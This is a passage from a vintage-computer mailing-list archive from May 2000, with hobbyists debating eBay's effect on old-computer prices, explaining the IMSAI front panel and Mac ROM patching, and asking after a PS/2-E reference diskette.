always maintained in the past, eBay has done nothing but > > artifically inflate the prices for old computers to the detriment of this > > hobby (and others as well). > > > > I (most of all) am really fed up with eBay. I have lost several *volume* > PDP-8 and PDP-11 deals because the individual involved happens to look on > eBay to see what they are going for. I specifically lost 3 PDP-8/Es in NC > for a few hundred $$$ because this guy saw an 8/E sell on eBay for $1400US > just before the deal closed :-( > > http://www.pdp8.com/ > John > > > Sellam > > > > > From dpeschel at eskimo.com Tue May 9 23:31:45 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:41 2005 Subject: s100 busses! In-Reply-To: <3918D762.18B15E2E@ix.netcom.com> from "Ron Hudson" at May 09, 2000 08:28:34 PM Message-ID: <200005100431.VAA28632@eskimo.com> > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? I don't know the answer to this one. > 2nd question > How did the control panel of the IMSAI work, was it controlled by a rom program > that lit the leds and read the switches? No, it's all run by hardware. It uses the voltage and timing conventions that are laid down in the 8080 manual. (They are the same conventions that the CPU uses to communicate with memory and peripherals.) Essentially the control panel intercepts the signals that would normally be sent automatically by the CPU or memory. I don't think it lets you do input and output, but theoretically you could do that too. With enough hardware you can do some pretty fancy stuff. The Mark 8 lets you give instructions to the CPU that don't come from anywhere in memory. (The CPU thinks they do, but they don't.) The PDP-12 lets you stop the computer if certain things happen (i.e., your program branches to a certain part of memory). There are also limitations to the hardware approach. For example, the 8080 in the IMSAI doesn't easily make the contents of its internal registers available, so you can't manipulate them with the control panel (except for the program counter). You could change that with enough work, but I don't know if anyone has. Newer CPUs have been designed to make this sort of hardware snooping easier, but they're still limited (you can only check for a certain number of conditions at the same time, for example). Heath made a computer (the H-8) which is similar to the IMSAI but actually does use a program to control the computer along with the usual hardware. The H-8 is a lot newer than the IMSAI, however. -- Derek From richard at idcomm.com Tue May 9 23:31:51 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: <005b01bfba38$a9fe1840$0400c0a8@winbook> I believe the issue is that, as we've all been told, "it's worth what you can get for it" in the free market. Just because my computer only brought $50 doesn't mean that it's not worth $10K to some other person who just didn't buy mine. Who knows, maybe he bought mine from the guy who bought it from me. It's silly to argue over what an object of mixed value, depending on nostalgia and other intangibles, and probably of no other value at all in terms of utility, is worth. That's why auctions are the only "real" measure of their value. I HATE it when I'm just about to pay $5 for something and another guy comes along and says "Hey! I'll give you $50 for that!" It is, however, the way the market works. Dick ----- Original Message ----- From: Mike Ford To: Sent: Tuesday, May 09, 2000 10:18 PM Subject: Re: Ebay Altair > >This makes no sense. eBay prices as a rule are always much more than once > >can expect to find in the "real world". In fact, "real world" prices have > > Which "real world" would this be? > > Ebay is much higher than scrap yards, and much lower than legacy support. > > >As I have always maintained in the past, eBay has done nothing but > >artifically inflate the prices for old computers to the detriment of this > >hobby (and others as well). > > Define artificial? > > Simple test, what items do you have that eBay prices are now too high on, > such that you are willing to sell? Or is it just that eBay prices are too > high for you to buy at, yet still far too low for you to sell at. > > From foo at siconic.com Tue May 9 22:34:46 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <00c701bfba35$02933ca0$fd83fea9@office> Message-ID: On Wed, 10 May 2000, johnb wrote: > http://www.pdp8.com/ > John Oh, it's you that I'm talking to. I didn't realize that. Don't take that any particular way ;) From foo at siconic.com Tue May 9 22:36:14 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:41 2005 Subject: s100 busses! In-Reply-To: <3918D762.18B15E2E@ix.netcom.com> Message-ID: On Tue, 9 May 2000, Ron Hudson wrote: > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? See http://www.imsai.net and click on the IMSAI Series Two link. Sellam From mikeford at socal.rr.com Tue May 9 23:31:05 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: References: <4.3.0.20000509203740.02182ba0@pc> Message-ID: >You mean besides stuffed animals Thanks for reminding me, almost forgot to list this. ;) http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=329144175 Win the bid and I will give you a $1 off shipping Sellam! From foo at siconic.com Tue May 9 22:44:19 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: Message-ID: On Tue, 9 May 2000, Mike Ford wrote: > >This makes no sense. eBay prices as a rule are always much more than once > >can expect to find in the "real world". In fact, "real world" prices have > > Which "real world" would this be? > > Ebay is much higher than scrap yards, and much lower than legacy support. Oh bother. Not this assanine argument again. > >As I have always maintained in the past, eBay has done nothing but > >artifically inflate the prices for old computers to the detriment of this > >hobby (and others as well). > > Define artificial? Go back into the archives and read all my messages concerning this. I don't want to start a sequel. > Simple test, what items do you have that eBay prices are now too high on, > such that you are willing to sell? Or is it just that eBay prices are too > high for you to buy at, yet still far too low for you to sell at. Aside from the fact that I'm having trouble comprehending this statement, suffice it to say I like niether to buy nor sell on eBay. I sold an IMSAI on eBay for $3,500 once because I needed it to fund VCF 3.0 and knew I would get a ridiculous price for it (don't tell the guy who bought it though :) Did I feel good about it? Not particularly. But did I feel bad about it? No. I sold a very nice system and the person who bought it felt they got a great deal. But the fact is *I* don't feel it was worth $3,500. And that he may have does not mean it's actually worth $3,500. It just means that particular person was willing to pay that amount. The problem is with trying to assign monetary value to something that intrinsically has more historical value. At least that's how I see this stuff. If I was in this for the money I could sell my entire collection and realistically bring in at least EBAY$200K with what I have. But fortunately I'm not in this for the money. The history is much more interesting. Sellam From foo at siconic.com Tue May 9 22:49:52 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <4.3.0.20000509210045.00b03570@pacbell.net> Message-ID: On Tue, 9 May 2000, Jim Battle wrote: > It is somewhat contradictory to have the position of wanting to preserve > old computers but at the same time wanting to return to the old days, > days when old machines were cheap but where most were trashed. > What better way to guarantee something will be preserved than to put > a value on it? This is not entirely true. A lot of old machines survived not because people thought they could make a buck or two on them but because they just couldn't bare to throw them out! In fact I'm still receiving 20-30 year old machines from people who have not been tainted by the eBay syndrome, but just want their beloved old machines that they didn't have the heart to just toss out go to a good retirement home. Granted eBay has a lot of machines listed. But that doesn't mean eBay necessarily coaxed them out of their closets, garages, attics, basements, etc. Before eBay there were (and still are believe it or not) things call flea markets and garage sales where these things still do pop up from time to time. > So, what do you want? To preserve these wonder old machines, > or just have a lot of free/cheap playthings? I pick "have a lot of free/cheap playthings". Or was that some sort of trick question? > And sorry, not just to pick on you Sellam, it is a question I have Not at all ;) > thought about a lot myself. Whenever I get the itch to pick up > something on ebay or a swap meet, I try to really think if it is > something I can actually spend time with, or is it just another > butterfly in the butterfly collection. It depends on what you intend to do with the butterflies, eh? > I like ebay. Heretic! :) From wilson at dbit.dbit.com Wed May 10 00:12:46 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:41 2005 Subject: s100 busses! In-Reply-To: ; from foo@siconic.com on Tue, May 09, 2000 at 08:36:14PM -0700 References: <3918D762.18B15E2E@ix.netcom.com> Message-ID: <20000510011246.A10763@dbit.dbit.com> On Tue, May 09, 2000 at 08:36:14PM -0700, foo wrote: > See http://www.imsai.net and click on the IMSAI Series Two link. Note that the IMSAI Series Two is still vaporware at this point, even though the web page makes it sound real. Todd Fischer says they're working out some kinks and shooting for early summer. They're also low on sheet metal right now but it's coming. I'm looking forward to completing the IMSAI I bought a couple of years ago for $25 (including a free VT78 with a bad PSU), and then NOT selling it on eBay!!!!! I *love* the idea of someone selling new S100 machines in this day and age! The idea of deriving the unregulated S100 PS voltages from a regular PC PSU using DC:DC converters is a bit scary, but I guess anything is possible if you use fat enough caps in a charge pump. If they're serious about using PCish keyboard/video stuff then the BIOS is going to have to be quite something, unless they've got an 8051 or something to help with terminal emulation. John Wilson D Bit From donm at cts.com Wed May 10 00:13:32 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <00c701bfba35$02933ca0$fd83fea9@office> Message-ID: On Wed, 10 May 2000, johnb wrote: > > > > > > I generally find eBay sells items for *less* money than the real world > when > > > it comes to classic computers. A *lot* of deep pocket collectors won't > use > > > > False. > > False? I *have* been asked by many deep pocket collectors not to put any > sort of large , really rare computers on eBay. I sold the PDP-15, a couple > /35s and a few other 8s through private offers. I personally don't think > eBay is the place to sell *huge* minicomputers. It was requested by 3 > already that I NOT put the PDP-10 on eBay as they would not bid, and really > that would not be too tasteful in my eyes anyway. > > > > > This makes no sense. eBay prices as a rule are always much more than once > > can expect to find in the "real world". In fact, "real world" prices have > > gotten inflated from people selling their old computers for eBay prices > > (I'm sure many here have come across people selling old computers, or > > really just about anything these days, and saying something to the effect > > of "I can get $X for this on eBay!!") > > It makes perfect sense. You get 4 or 5 multi-million $$ deep pockets > specifically looking for old minicomputer stuff and bidding heavily on eBay > and watch what would happen. Look at what happened to the Cray manual when > someone here on the list tried to bid against Nathan [closed around $2700, > and he was *not* going to be outbid]. Quite a few deep pocket collectors are > now looking at *preserving* either their first computer or put together a > small museum. $10,000 is nothing to pay for a small rare computer when you > have a billion. Put up something like a KA-10 on eBay for auction and inform > a few deep pockets and watch the bids[I know of 3 *really* deep pockets that > want one - period! ] > > > BTW: I put the PDP-11/35 on eBay *only* to show what these computers were > *really* selling for.. I was a bit upset as I got *less* than I usually do. > > As for using auctions to value computers? Sotheby's uses past auction sales > *to* determine value all the time. > > > > > > > personally will have a running KL10 available for offers but would not > want > > > to sell such a mini as a "featured catagory item" on eBay - some items > just > > > don't sit well on eBay. > > > > If it's too big to ship via UPS then it generally won't do well. > > > > Shipping a PDP-15 to the West Coast was under $2000. A PDP-8/I rackful to > the west coast - $800US. A PDP-11/35 to Chicago was under $200US (and would > not fit on a UPS truck). 40,000 pounds of computers to the West Coast (from > Toronto) - $7000US + ins. Airlines charge $1.20/pound on average to the US. > Trucks are much less if a large load is going. Shipping is a non issue when > it comes to heavy computers anymore. > > All depends how rare the computer is. > > > As I have always maintained in the past, eBay has done nothing but > > artifically inflate the prices for old computers to the detriment of this > > hobby (and others as well). > > > > I (most of all) am really fed up with eBay. I have lost several *volume* > PDP-8 and PDP-11 deals because the individual involved happens to look on > eBay to see what they are going for. I specifically lost 3 PDP-8/Es in NC > for a few hundred $$$ because this guy saw an 8/E sell on eBay for $1400US > just before the deal closed :-( Well, as you said in an earlier e-mail, prices are set by *demand*, and it sounds like the *demand* is less than what you demand ;^} - don > http://www.pdp8.com/ > John > > > Sellam > > > > > > From wilson at dbit.dbit.com Wed May 10 00:20:39 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:41 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <20000509183918.13225.qmail@brouhaha.com>; from eric@brouhaha.com on Tue, May 09, 2000 at 06:39:18PM -0000 References: <66.36e59e5.2648bcbe@aol.com> <20000509183918.13225.qmail@brouhaha.com> Message-ID: <20000510012039.B10763@dbit.dbit.com> On Tue, May 09, 2000 at 06:39:18PM -0000, Eric Smith wrote: > The Macintosh OS has gone through multiple cycles of adding large > chunks of new functionality to the System file, then moving those > pieces into ROM. Unfortunately when the code gets moved into ROM, > it doesn't usually get removed from the System file, because it still > is needed for older Macs since Apple typically does not offer ROM > upgrades. I may have this wrong, but I remember being told that this meant having a pretty complicated boot process where the ROM versions of various routines could be replaced by a newer version off the disk, and that the amount of code that had to be loaded from disk was sort of proportional to the age of the computer. And supposedly this meant that a generic (works on any machine) boot disk didn't have much free space, but if you (somehow) pared it down to have only the patches required for your particular computer (instead of all possible Macs throughout history) you could have a lot more space on the disk. Sound right? Wasn't there some point where they dropped support for the early Macs with less ROM (64 K vs. 128 K or something??????), or am I making that up? If so, was it just because thin Macs didn't have space for the bloat, or was there really something wrong with what was in ROM that was beyond help? John Wilson D Bit From ethan_dicks at yahoo.com Wed May 10 00:18:17 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:41 2005 Subject: Searching for PS/2-E (9533-DB7) reference diskette Message-ID: <20000510051817.22542.qmail@web612.mail.yahoo.com> I know it's not _quite_ 10 years old, but it's getting there. The principle of attraction has worked and my IBM quad-PCMCIA card has attracted a couple of hosts - a PS/2-E that it originally came out of. I have been to the IBM support site - no concrete references to the PS-2/E. I have located reference diskettes for all sorts of IBM-brand products, but not the 9533. It's distinguishing features include a low-power design with one ISA slot for this quad-PCMCIA card to minimize peripheral draw. Additionally, it uses a 2.5" laptop disk (120Mb) and only has one serial port. As shipped from IBM, there was an LCD panel for a monitor, but I've never seen that part in person, only in old ads. Does anyone have a disk image they can ship me, or a pointer to an image somewhere? I'm thinking of turning this into a router box. I have the PCMCIA NICs to do it with. Thanks, -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From go at ao.com Wed May 10 00:29:36 2000 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: <4.2.2.20000509221208.03a80310@wave-rock.ao.com> At 18:04 5/9/00 -0700, you wrote: >As I have always maintained in the past, eBay has done nothing but >artifically inflate the prices for old computers to the detriment of this >hobby (and others as well). > >Sellam For me, eBay has made it possible for to obtain a few things that would never have reasonably come my way. I could certainly roam around the U.S. and abroad and sniff around all the really good sites, but here in Oregon there isn't much coming available that I'm interested in (or that isn't being snapped up by one or more busier members of this list .) When you count the cost of even CHEAP transportation, eBay *can* (not always) be cheaper. What I truly find distressing though is the tendency to "chop" some items (e.g. front panels, core memory arrays, etc.) to make "trophies" to hang on the wall (I know this has been covered, ad nauseam.) One item that really ticks me off is the little .5 inch square core memory arrays being sold in little plastic "specimen" boxes. This is one area where I agree that eBay has made a frenzy of things. I doubt if more than a few percent of the core memories will ever find their way back into an operating system. In most cases, even if the memory planes are intact, they've been separated from their siblings and you'd never be able to reconnect the thousands of wires to reorganize the stack. I've been looking for some "intact" core stacks for years now and they're all showing up one plane at a time for at least $100 per trophy. And sellers are in no way interested in selling a complete stack. Of *course* they want to turn it into the $1000+ that eBay will bring... Do you blame them? This seems a lot like taking a sculpture and breaking it into a thousand pieces so you can sell them off for a higher price. "I couldn't afford the whole thing, but I did get a piece of it..." The want me back at the home, now... Oh well, -Gary From foo at siconic.com Tue May 9 23:35:27 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:41 2005 Subject: s100 busses! In-Reply-To: <20000510011246.A10763@dbit.dbit.com> Message-ID: On Wed, 10 May 2000, John Wilson wrote: > I *love* the idea of someone selling new S100 machines in this day and age! Actually it's unprecedented. As far as I know this is the first example of a company coming out of hibernation (according to Todd IMSAI never really ceased to exist) and offering a new model of an obsoleted computer product line. If there are any other examples of this I'd like to hear about them. From aw288 at osfn.org Wed May 10 00:46:43 2000 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: > I generally find eBay sells items for *less* money than the real world when > it comes to classic computers. A *lot* of deep pocket collectors won't use > the service to purchase old computers from. I have been told by many that > they would rather do private offers or sales as eBay would *really* blow the > prices out of perspective [take Nathan Myhrvold bids for example] . I > personally will have a running KL10 available for offers but would not want > to sell such a mini as a "featured catagory item" on eBay - some items just > don't sit well on eBay. When you go to sell the KL10 and set it as the benchmark value, please divide your value in two, as RCS/RI received a KL10 for free. Additionally, if you set a benchmark value for KS10s, please divide your value by six or so, as a number of us (RCS/RI, RICM, Carl, myself and others) have received machines for free. Street price kind of blows the mean, doesn't it? Another thing, stop advertising vaporware. I do not think you know what you are in for in a KL10. I know of that specific machine, but I doubt you will be able to boot it. Some of use are still waiting for that IBM S/360, anyway. And the PDP-1. And the KA10. Finally, it is very bad form to comment about a bidder's habits with a real name in a public forum. The whole idea behind eBay names is to shield the bidders. This idea applies to most non-government auctions in general. John B, you may be OK to talk to and certainly you know your way around a machine, but you need to take some night courses in ethics, economics, and statistics. William Donzelli aw288@osfn.org From ernestls at home.com Wed May 10 00:50:07 2000 From: ernestls at home.com (Ernest) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair In-Reply-To: <4.2.2.20000509221208.03a80310@wave-rock.ao.com> Message-ID: <000501bfba43$993621a0$59a40b18@C721564-A.sttln1.wa.home.com> -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Gary Oliver Sent: Tuesday, May 09, 2000 10:30 PM To: classiccmp@classiccmp.org Subject: Re: Ebay Altair At 18:04 5/9/00 -0700, you wrote: >snip What I truly find distressing though is the tendency to "chop" some items (e.g. front panels, core memory arrays, etc.) to make "trophies" to hang on the wall (I know this has been covered, ad nauseam.) One item that really ticks me off is the little .5 inch square core memory arrays being sold in little plastic "specimen" boxes. -Gary Yeah, I know what you mean. I have several very complete computer systems that I've wondered how high the bidding would go on them (just out of curiosity) if I were to place them on Ebay but the truth is, I doubt that I would sell them on Ebay if I ever decided to part with them for the reason that you listed above -I would be worried that someone would buy my system, tear it to pieces, and re-sell the parts. Shiver. I spent a lot of time collecting things to be able to piece together complete systems, and I think that it would break my heart to watch someone break the systems up for parts to sell "for more money." I like ebay but I don't like it when I see some seller who has obviously dismantled a complete computer to sell for parts -even to the point of selling individual manuals, etc.. It may be practical for a seller to do that but the collector in me feels a sense of loss to see these parts scattered to the wind. Ernest From marvin at rain.org Wed May 10 00:54:31 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: Message-ID: <3918F997.6DC233E3@rain.org> foo wrote: > > > >As I have always maintained in the past, eBay has done nothing but > > >artifically inflate the prices for old computers to the detriment of this > > >hobby (and others as well). The free market works well when there is communication between buyers and sellers. We most likely will continue to disagree about ebay as its effects on prices vs worth. I, and many others, have gotten some very good deals on ebay generally because of mis-spellings, wrong classification, etc. which imply ignorance on the part of the seller. Does this mean the seller got what their item was worth ... or they got what was coming to them? > The problem is with trying to assign monetary value to something that > intrinsically has more historical value. At least that's how I see this > stuff. If I was in this for the money I could sell my entire collection > and realistically bring in at least EBAY$200K with what I have. But > fortunately I'm not in this for the money. The history is much more > interesting. I think most of us are in this hobby either to preserve the history (as in my case) or just to have fun with. The price you quote as to the worth of your collection in ebay dollars is probably understated ... ASSUMING that you didn't put the whole collection up at one time. From foo at siconic.com Wed May 10 00:06:49 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:52:41 2005 Subject: Archives? Message-ID: How come the CC archives at classiccmp.org are so sparse? What happened to the main archives? Is there somewhere I can go to find the complete thing? It would suck majorly if there is no longer a CC archive. From mikeford at socal.rr.com Wed May 10 01:08:53 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:41 2005 Subject: Searching for PS/2-E (9533-DB7) reference diskette In-Reply-To: <20000510051817.22542.qmail@web612.mail.yahoo.com> Message-ID: >I know it's not _quite_ 10 years old, but it's getting there. The principle >of attraction has worked and my IBM quad-PCMCIA card has attracted a couple >of hosts - a PS/2-E that it originally came out of. I have been to the IBM >support site - no concrete references to the PS-2/E. I have located reference >diskettes for all sorts of IBM-brand products, but not the 9533. It's http://www.inwave.com/~ohlandl/9533.html http://www.inwave.com/~ohlandl/9533.html#Starter/Diags From marvin at rain.org Wed May 10 01:14:18 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:41 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <4.2.2.20000509221208.03a80310@wave-rock.ao.com> Message-ID: <3918FE3A.560AF15C@rain.org> Gary Oliver wrote: > > > This is one area where I agree that eBay has made a frenzy of things. > I doubt if more than a few percent of the core memories will ever > find their way back into an operating system. In most cases, even > if the memory planes are intact, they've been separated from their > siblings and you'd never be able to reconnect the thousands of wires > to reorganize the stack. I've been looking for some "intact" core > stacks for years now and they're all showing up one plane at a time > for at least $100 per trophy. And sellers are in no way interested I am not sure what ebay you are looking at, but I just took a look at completed "core memory" auctions and the prices seemed to be in the $40 - $50 range. I sold some DataRam core plane modules that closed around $40 or so untested. It was only a few months ago I talked to a person who was still selling these core planes tested and working for $1000. I think the person who is cutting up the core planes and selling sections could be best described as sick ... almost as sick as the people who buy them and make it worth someones time and money to cut these things apart. From mikeford at socal.rr.com Wed May 10 01:13:42 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! In-Reply-To: References: <20000510011246.A10763@dbit.dbit.com> Message-ID: >On Wed, 10 May 2000, John Wilson wrote: > >> I *love* the idea of someone selling new S100 machines in this day and age! > >Actually it's unprecedented. As far as I know this is the first example >of a company coming out of hibernation (according to Todd IMSAI never >really ceased to exist) and offering a new model of an obsoleted >computer product line. > >If there are any other examples of this I'd like to hear about them. MacIntosh MC275 tube amplifier rereleased a few years ago in a limited run of about 5000. Western Electric going back into production of the 300B tube. Neumann I think also did a U67 again. Not too many areas where it is possible to bring back an old product, do to regs etc. From dpeschel at eskimo.com Wed May 10 02:16:23 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:42 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <20000510012039.B10763@dbit.dbit.com> from "John Wilson" at May 10, 2000 01:20:39 AM Message-ID: <200005100716.AAA07051@eskimo.com> John Wilson wrote: > On Tue, May 09, 2000 at 06:39:18PM -0000, Eric Smith wrote: > > The Macintosh OS has gone through multiple cycles of adding large > > chunks of new functionality to the System file, then moving those > > pieces into ROM. Unfortunately when the code gets moved into ROM, > > it doesn't usually get removed from the System file, because it still > > is needed for older Macs since Apple typically does not offer ROM > > upgrades. > > I may have this wrong, but I remember being told that this meant having a > pretty complicated boot process where the ROM versions of various routines > could be replaced by a newer version off the disk, Yes, because the ROM is largely made up of resources (i.e., the things you can edit with ResEdit). The system file on disk is largely made up of resources too. This may not be so true now as it was (and ResEdit hasn't been updated in a long time). > but if you (somehow) pared it down > to have only the patches required for your particular computer (instead of > all possible Macs throughout history) you could have a lot more space on > the disk. Sound right? Basically, except that the whole thing got an order of magnitude more complicated after Ssytem 7 came out. Systems 8 and 9 made things even more complicated and OS X will probably _really_ stir things up. The ROMs on newer machiens have gone though a lot of changes too; after a certain point they checked to see if you were booting with System 7 or later and put up an error if you weren't. I think you can get around this (I've seen it once) but I'm not sure how. It's not easy these days to make a universal boot disk. Anyway, it would have to be a Zip cartridge or CD-ROM (or some other large-capacity medium) now. > Wasn't there some point where they dropped support for the early Macs with > less ROM (64 K vs. 128 K or something??????), or am I making that up? If so, > was it just because thin Macs didn't have space for the bloat, or was there > really something wrong with what was in ROM that was beyond help? I don't know. The issues of (lack of) guaranteed backward compatibility, in-depth documentation about the OS and ROM, upgradability of the ROMs, and the possibility of using other OSs are all "knee-jerk reaction" issues to me. In other words, I don't know the answers, but I suspect they are bad and gripe accordingly. The documentation I've seen is largely out of date. The Mac architecture has gone through a large number of changes (some small, some big). PCI and Open Firmware are promising developments in some ways. (especially regarding the use of other OSs), however. I'm a happy Mac user but really out-of-touch with Apple or with Mac development. Maybe Eric knows more. Eric? -- Derek From wilson at dbit.dbit.com Wed May 10 03:31:48 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair In-Reply-To: ; from aw288@osfn.org on Wed, May 10, 2000 at 01:46:43AM -0400 References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: <20000510043148.A11225@dbit.dbit.com> On Wed, May 10, 2000 at 01:46:43AM -0400, William Donzelli wrote: > When you go to sell the KL10 and set it as the benchmark value, please > divide your value in two, as RCS/RI received a KL10 for free. And there were originally plenty more where that one came from, but the guy who owned them at the time (he had at least a dozen, plus piles of tape drives and over thirty RP06es) was unable to find takers for his machines, even for free. Not even the low-serial-number model A that he had (I wish I'd had space for it, as it was I just got the TC11/TU56 off the FE). So he ended up driving a liftgate truck slowly across a scrap yard, pushing KL10 racks out the back every few feet, it was heartbreaking. I'm sure John B will be quick to differentiate between a 100% restored KL10, and one with problems like the one RCS/RI got, but practically speaking it probably doesn't make much difference. A machine full of >20-year-old wire wrap backplanes is going to be inherently unreliable, just because it works today doesn't mean it's not going to take a little tweaking the next time you want to take it for a spin. And keeping a string of RP06es and a TU78 alive is no picnic. Anyway I think it's funny how opposite the viewpoints are here. On the one hand there are people who appear to believe that the value of a machine is approximately equal to the maximum that any sucker has *ever* paid for a similar machine. Meanwhile, the rest of us say "hey I got five of those for free, working and with docs/software, therefore yours is worthless too". Neither one is quite accurate... I seriously think eBay is likely to trigger some kind of 12-step program for auction junkies. Really, it's a bit like gambling, people get really competitive sometimes and end up paying prices that have nothing to do with anyone's concept of what the item is worth, just because they feel that they need to win at any cost. So I think these ridiculous prices for old computer junk are more of an indicator of the buyers' compulsions, than anything to do with the real value of the merchandise. Meanwhile, I really do like eBay for getting ahold of stuff that is *not* considered "collectable". I bought my floppy disk duplicating machine that way for 1/3 what a refurbed unit would cost from a dealer, same deal for my gummed tape machine, also got a nice linear tracking turntable for practically nothing (those show up all the time). My wife uses it to get out-of-print art/photography books for less than what the bookstores charge (and they hardly ever really find anything anyway). There are plenty of things which are too specialized to be easily bought/sold through local classified ads, but not specialized enough to demand ridiculous prices and ruin the market for mere mortals, so something like eBay actually helps everybody in that case. John Wilson D Bit From dylanb at sympatico.ca Wed May 10 08:45:41 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair References: Message-ID: <001301bfba86$08209400$fd83fea9@office> ----- Original Message ----- From: William Donzelli To: Sent: Wednesday, May 10, 2000 1:46 AM Subject: Re: Ebay Altair > > I generally find eBay sells items for *less* money than the real world when > > it comes to classic computers. A *lot* of deep pocket collectors won't use > > the service to purchase old computers from. I have been told by many that > > they would rather do private offers or sales as eBay would *really* blow the > > prices out of perspective [take Nathan Myhrvold bids for example] . I > > personally will have a running KL10 available for offers but would not want > > to sell such a mini as a "featured catagory item" on eBay - some items just > > don't sit well on eBay. > > When you go to sell the KL10 and set it as the benchmark value, please > divide your value in two, as RCS/RI received a KL10 for free. > I am surprised at your logic William - *Most* Museums aquire *very* expensive items for free... and the value of those items don't drop in half because of it. I know someone who bought a Group of 7 painting last month for 50 cents. Should they divide the $35,000US value of the painting in half now? BTW: The KL10 sent to RCS was not running was it?, and a year later now (or more), is *still* not running. > Additionally, if you set a benchmark value for KS10s, please divide your > value by six or so, as a number of us (RCS/RI, RICM, Carl, > myself and others) have received machines for free. Street price kind of > blows the mean, doesn't it? > KS10s are &^& (can't use that word here). I don't have a *single* order for one - and never will. > Another thing, stop advertising vaporware. I do not think you know what > you are in for in a KL10. I know of that specific machine, but I doubt you > will be able to boot it. Some of use are still waiting for that IBM S/360, > anyway. And the PDP-1. And the KA10. Vaporware? Think I've done pretty good. The IBM/360 was crushed as my offer was not high enough - Union Carbide, Welland, Ontario. Kevin Stumpf was going partners on it. Which KL-10 do you think I am getting? It *is* running software now! Will be emulated through June. PDP-1 very high possibility. KA-10 - I have already had one, passed on another for $300 from Beverly Surplus *before* they were worth anything. I am finding most of these old kinds of computers (like the original PDP-11s) through leads and engineers. I am told where they are - it's all a matter of beating them to the crusher. > > Finally, it is very bad form to comment about a bidder's habits with a > real name in a public forum. The whole idea behind eBay names is to shield > the bidders. This idea applies to most non-government auctions in general. > > John B, you may be OK to talk to and certainly you know your way around a > machine, but you need to take some night courses in ethics, economics, > and statistics. > Funny William, I won't waste my time responding to your last comments but.... I am finding most of these minicomputers in the United States, *not* Canada. Regards, http://www.pdp8.com/ john > William Donzelli > aw288@osfn.org > From allisonp at world.std.com Wed May 10 07:21:33 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:42 2005 Subject: s100 busses! In-Reply-To: <3918D762.18B15E2E@ix.netcom.com> Message-ID: On Tue, 9 May 2000, Ron Hudson wrote: > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? Effectively not for many years. > 2nd question > How did the control panel of the IMSAI work, was it controlled by a rom program > that lit the leds and read the switches? There was no rom in the base imsai. The frontpannel was all hardware and worked by inserting wait states in the instruction flow effectively stopping the micoprocessor at every cycle. Allison From dylanb at sympatico.ca Wed May 10 09:28:25 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:52:42 2005 Subject: Ebay Altair References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> Message-ID: <002301bfba8c$00de0000$fd83fea9@office> > On Wed, May 10, 2000 at 01:46:43AM -0400, William Donzelli wrote: > > When you go to sell the KL10 and set it as the benchmark value, please > > divide your value in two, as RCS/RI received a KL10 for free. > > And there were originally plenty more where that one came from, but the > guy who owned them at the time (he had at least a dozen, plus piles of tape > drives and over thirty RP06es) was unable to find takers for his machines, > even for free. Not even the low-serial-number model A that he had (I wish > I'd had space for it, as it was I just got the TC11/TU56 off the FE). So he > ended up driving a liftgate truck slowly across a scrap yard, pushing KL10 > racks out the back every few feet, it was heartbreaking. > > I'm sure John B will be quick to differentiate between a 100% restored KL10, No, we have already discussed the value of minicomputers from both perspectives. I guess it depends on where you come from and how you collect. I can understand the resistance in this group as higher costs *do* make computers much more difficult to collect. I am far more interested in a KA10 or KI10 (where I have a bid currently). The KA10 is really nice as it runs off 220V. I believe this question has been answered here before but - does anyone here actually have a Real KA,KI, or KL running 